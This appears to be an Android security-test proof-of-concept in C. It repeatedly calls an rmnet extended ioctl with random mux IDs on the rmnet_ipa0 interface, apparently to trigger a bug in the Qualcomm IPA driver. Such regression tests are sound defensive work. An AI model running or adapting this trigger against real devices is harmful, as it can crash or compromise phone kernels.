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80 lines
2.3 KiB
80 lines
2.3 KiB
/**
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* Copyright (C) 2018 The Android Open Source Project
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*
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* Licensed under the Apache License, Version 2.0 (the "License");
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* you may not use this file except in compliance with the License.
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* You may obtain a copy of the License at
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*
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* http://www.apache.org/licenses/LICENSE-2.0
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*
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* Unless required by applicable law or agreed to in writing, software
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* distributed under the License is distributed on an "AS IS" BASIS,
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* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
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* See the License for the specific language governing permissions vand
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* limitations under the License.
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*/
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#define _GNU_SOURCE
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#include <errno.h>
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#include <fcntl.h>
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#include <net/if.h>
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#include <net/if_arp.h>
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#include <netdb.h>
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#include <netinet/in.h>
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#include <stdio.h>
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#include <stdlib.h>
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#include <string.h>
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#include <sys/ioctl.h>
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#include <sys/prctl.h>
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#include <sys/socket.h>
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#include <sys/types.h>
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#include <time.h>
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#include <unistd.h>
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#include "local_poc.h"
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#define WAN_IOC_MAGIC 0x69
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#define WAN_IOCTL_ADD_FLT_RULE 0
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#define WAN_IOCTL_ADD_FLT_INDEX 2
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#define WAN_IOC_ADD_FLT_RULE \
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_IOWR(WAN_IOC_MAGIC, WAN_IOCTL_ADD_FLT_RULE, \
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struct ipa_install_fltr_rule_req_msg_v01 *)
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#define WAN_IOC_ADD_FLT_RULE_INDEX \
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_IOWR(WAN_IOC_MAGIC, WAN_IOCTL_ADD_FLT_INDEX, \
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struct ipa_fltr_installed_notif_req_msg_v01 *)
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int trigger(int sfd, char *ifname) {
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int ret;
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struct ifreq ifr;
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unsigned cmd = RMNET_IOCTL_EXTENDED;
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strlcpy(ifr.ifr_name, ifname, IFNAMSIZ);
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struct rmnet_ioctl_extended_s extendata;
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int i;
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ifr.ifr_ifru.ifru_data = &extendata;
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extendata.extended_ioctl = RMNET_IOCTL_ADD_MUX_CHANNEL;
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for (i = 0; i < 3; i++) {
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extendata.u.rmnet_mux_val.mux_id = rand();
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printf("[-] call ioctl %d\n", i);
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if (ioctl(sfd, cmd, &ifr) < 0) {
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printf("%s, %s\n", __func__, strerror(errno));
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ret = -1;
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}
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}
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return ret;
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}
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int main() {
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int sockfd;
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char *ifname = "rmnet_ipa0";
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srand(time(NULL));
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if ((sockfd = socket(AF_INET, SOCK_DGRAM, 0)) < 0) {
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printf("socket = %d, %s\n", sockfd, strerror(errno));
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exit(1);
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}
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trigger(sockfd, ifname);
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return 0;
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}
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